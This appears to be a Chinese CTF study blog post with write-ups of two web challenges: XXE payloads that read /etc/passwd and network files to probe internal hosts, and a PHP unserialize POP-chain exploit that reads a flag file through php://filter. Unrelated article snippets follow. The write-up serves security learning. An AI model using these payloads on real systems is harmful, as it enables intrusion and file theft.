5月10日学习记录

[NCTF2019]True XML cookbook(xxe漏洞利用)

这题是关于xxe漏洞的实际应用,利用xxe漏洞的外部实体来进行ssrf探针内网的主机

和[NCTF2019]Fake XML cookbook的区别就在于xxe漏洞的利用方向,一个是命令执行,一个是SSRF

看题,打开环境,熟悉的登录框

正常的抓包进行分析,明显的xxe漏洞

开始构造,先查看xxe漏洞能不能正常利用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123</password></user>

 

存在xxe漏洞并且能够正常利用,我在做题时想的是直接查看flag文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://flag">]>
<user><username>&admin;</username><password>123</password></user>

报错了,说明flag这个文件不存在,也许我们在外网不能正常访问,xxe的漏洞利用就可以探针内网,尝试访问内网看看

/etc/hosts,/proc/net/arp,/proc/net/fib_trie 这三个命令是探测内网的命令,是查看存活主机和主机ip,mac地址

发现有存活主机,但是有用信息不多

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/hosts">]>
<user><username>&admin;</username><password>123</password></user>

前两个命令的反馈不是很多,第三个发现了ip地址

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///proc/net/fib_trie">]>
<user><username>&admin;</username><password>123</password></user>

访问主机ip,看能不能有flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://http://10.244.80.159">]>
<user><username>&admin;</username><password>123</password></user>

还是没有flag,说明不在这台主机上,我们需要在内网中的其他主机尝试,就需要对这个网段下的主机ip进行爆破,抓包后发送到爆破模块

在爆破后查看各主机ip下的回显

[HNCTF 2022 WEEK4]pop子和pipi美

 打开环境,给了个参数应该要传参,但是不知道传什么,题目给了一个番,是看了wp才知道是番的url

拿到源码

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE  = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}
class Goodsisters{public function PopukoPipimi(){$is = "Good sisters";}public $kiminonawa,$str;public function __construct($file='index.php'){$this->kiminonawa = $file;echo 'Welcome to HNCTF2022 ,';echo 'This is '.$this->kiminonawa."<br>";}public function __toString(){return $this->str->kiminonawa;}public function __wakeup(){if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {echo "仲良ピース!";$this->kiminonawa = "index.php";}}
}if(isset($_GET['pop'])) @unserialize($_GET['pop']);  else{$a=new Goodsisters;if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){highlight_file(__FILE__);echo '欸嘿,你也喜欢pop子~对吧ww';}
} 

 ok,确定是pop链,那么就详细讲讲我的思路构建pop链,当时我做还是有一部分错误

思路:优先找到链尾,根据链尾进行反推至链头,寻找链尾,链尾是有高危函数的,可以帮助我们实现需要的文件读取或者命令执行,这题提示flag在fl4g.php,明显是文件包含,对于文件包含最熟悉的就是include

找到include,作为链尾,分析一下调用到include,当触发append方法时,会执行include,append在invoke中进行了调用并且还调用的私有变量,所以我们就可以对私有变量进行赋值,触发invoke后就可以进行文件包含

class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE  = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}

 invoke方法在以调用方法的方式调用对象时触发

get方法里面在$function中调用了对象p,所以在对象p调用invoke方法

class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}

 get方法在访问不存在的变量时触发

看见一串奇怪的代码,在Goodsisters中str和kiminonawa都是公有变量,但是这里用str调用kiminonawa显然是没有办法调用的,两个变量是平行的关系,所以在调用liminonawa时,是不存在的,可以触发get方法

 public function __toString(){return $this->str->kiminonawa;}

 tostring方法在被当做字符串输出时触发,在所处的类中就有construct调用的变量输出,echo,所以直接类中construct就能触发

现在从链头到链尾都能通顺,开始写exp

<?php
class Popuko {private $No_893='php://filter/convert.base64-encode/resource=f14g.php';
}class Pipimi{  public $pipi;
}
class Goodsisters{public $kiminonawa,$str;
}
$g=new Goodsisters;
$g->kiminonawa=new Goodsisters;
$p=new Pipimi;
$g->kiminonawa->str=$p;
$a=new Popuko;
$p->p=$a;
echo urlencode(serialize($g));

进行base64解码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3031888.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

26、Flink 的状态数据结构升级

状态数据结构升级 a&#xff09;概述 Flink 流应用通常被设计为永远或者长时间运行&#xff0c;与所有长期运行的服务一样&#xff0c;应用程序需要随着业务的迭代而进行调整&#xff0c;应用所处理的数据 schema 也会随着进行变化。 升级状态类型的数据 schema &#xff0c…

【redis】Redis五种常用数据类型和内部编码,以及对String字符串类型的总结

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…

ORACLE ODAX9-2的一个误告警Affects: /SYS/MB的分析处理

在运维的多套ORACLE ODAX9-2版本&#xff0c;都遇到了一个计算节点的告警&#xff1a;Description: The service Processor poweron selftest has deteced a problem. Probabity;:100, UulD:cd1ebbdf-f099-61de-ca44-ef646defe034, Resource:/SYS/MB,&#xff1b;此告警从描述上…

React 第三十一章 虚拟DOM

面试题&#xff1a;什么是虚拟DOM&#xff1f;其优点有哪些&#xff1f; 标准且浅显的答案 虚拟dom本质上就是一个普通的 JS 对象&#xff0c;用于描述视图的界面结构 虚拟 DOM 最早是由 React 团队提出来的&#xff0c;因此 React 团队在对虚拟 DOM 的定义上面有绝对的话语权。…

【Linux】基础命令,文件处理,用户,vim编辑器,文件压缩

常用命令及参数&#xff1a;dir表示文件夹&#xff0c;file表示文件&#xff08;file可表示其他目录下的文件&#xff09; pwd命令&#xff1b;查看当前所属文件夹&#xff08;print working directory&#xff09; ls [选项] dir&#xff1b;查看当前、指定文件夹目录内容&am…

以太网技术介绍

随着通信和计算机技术的不断发展&#xff0c;无论是骨干网还是接入网&#xff0c;以太网都已成为应用场景最多&#xff0c;应用范围最广泛的技术之一。对于初次应用以太网的读者&#xff0c;本文主要给出以太网技术的基础知识&#xff0c;并对以太网涉及的部分协议进行简要说明…

硕博电子洗扫车电控系统:让洗扫更智能,更高效!

硕博电子洗扫车电控系统以7寸显示屏、移动控制器、操作面板为核心&#xff0c;具有8~ 32V DC宽压输入、耐震动、抗冲击、耐腐蚀、高防护等特性。三个主要核心元件与副发动机、底盘和、GPS 模块等均通过CAN 总线进行通信&#xff0c;交互数据&#xff0c;通信稳定可靠&#xff0…

镭速实现利用Libarchive实现高效、智能的文件传输和管理

在前一篇报道中&#xff0c;我们阐述了Libarchive这一开源库的强大功能&#xff0c;它专门用于处理归档文件。通过整合Libarchive&#xff0c;镭速在包括Windows和Linux在内的多个操作系统上提供了在线解压缩服务&#xff0c;为企业构建了一个既强大又安全的文件传输系统&#…

常见排序算法——希尔排序

基本原理 希尔排序在插入排序的基础之上&#xff0c;将待排序序列分成组&#xff0c;分成 gap 个组&#xff0c;组的数量通过 length / 2 获得&#xff0c;比如6个元素的序列&#xff0c;那么就是 3 个组&#xff0c;每个组两个元素&#xff0c;然后将每个组的元素进行插入排…

Threejs加载MMD

MMD全称MikuMikuDance&#xff0c;是一个简单的做动画的程序&#xff0c;做MMD之前先了解下什么是PMD。 PMD&#xff08;Polygon Model Data&#xff09;文件是一种用于描述三维模型的文件格式。PMD 文件通常用于 MikuMikuDance&#xff08;MMD&#xff09;软件&#xff0c;它是…

Bpmn.js使用(仅查看版)

Bpmn.js使用&#xff08;仅查看版&#xff09; 下载 npm install bpmn-js创建一个 Dom 节点来挂载画布元素。 <a-tabs v-model:activeKey"activeKey" change"tabsChange"><a-tab-pane key"1" tab"审批记录"><a-tabl…

【二叉树】Leetcode 二叉树的锯齿形层序遍历

题目讲解 103. 二叉树的锯齿形层序遍历 算法讲解 这道题其实是和N叉树层序遍历是一样的&#xff0c;只不过是要求每一次的遍历的方向不一样&#xff1b;注意&#xff1a;这一次的使用的队列不能够是queue了&#xff0c;因为需要从后往前遍历容器&#xff0c;所以就可以使用v…

[已解决]ModuleNotFoundError: No module named ‘einops‘

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

腾讯互娱面经,希望别凉

面试题详解 Go接口 接口在Golang中扮演着连接不同类型之间的桥梁&#xff0c;它定义了一组方法的集合&#xff0c;而不关心具体的实现。接口的作用主要体现在以下几个方面&#xff1a; 多态性: 接口允许不同的类型实现相同的方法&#xff0c;从而实现多态性。这意味着我们可…

Macbook2024电脑必备系统优化软件CleanMyMacX

随着时间的推移&#xff0c;你可能会发现你的MacBook运行速度变慢&#xff0c;甚至在执行一些基本任务时也会感觉到卡顿。这不仅影响了工作效率&#xff0c;也大大降低了使用体验。特别是当你运行大型应用程序&#xff0c;比如视频编辑软件或图形设计工具时&#xff0c;卡顿现象…

SpringSecurity + JWT实现登录认证

前置基础请参考&#xff1a;SpringSecurity入门-CSDN博客 配置&#xff1a; pom.xml <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.0.5</version></p…

Oracle到PostgreSQL的不停机数据库迁移

1970 年&#xff0c;数据库之父 Edgar Frank Codd 发表了“数据的关系模型”论文&#xff0c;该论文为往后的关系型数据库的发展奠定了基础。1979 年&#xff0c;基于关系模型理论的数据库产品 Oracle 2 首次亮相&#xff0c;并在过去的三四十年时间里&#xff0c;横扫全球数据…

制作跳动的爱心网页效果

html <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>跳动的爱心</title> <link rel&q…

Java入门基础学习笔记7——Intellij IDEA开发工具概述、安装

之前的开发工具存在一些问题&#xff1a; 文本编辑工具&#xff1a;记事本、NotePad、EditPlus、Sublime...编写代码的时候没有错误提醒、没有智能代码提示、需要自己进行编译、执行、功能不够强大。 集成开发环境&#xff08;IDE&#xff1a;Integrated Development Environm…

U盘文件剪切丢失怎么办?揭秘原因并给出恢复方法

在日常生活和工作中&#xff0c;U盘已成为我们不可或缺的数据存储和传输工具。但有时候&#xff0c;我们在对U盘中的文件进行剪切操作时&#xff0c;会遇到文件丢失的情况。这种突如其来的数据消失往往会让人感到惊慌和困惑。那么&#xff0c;为什么U盘剪切时文件会丢失呢&…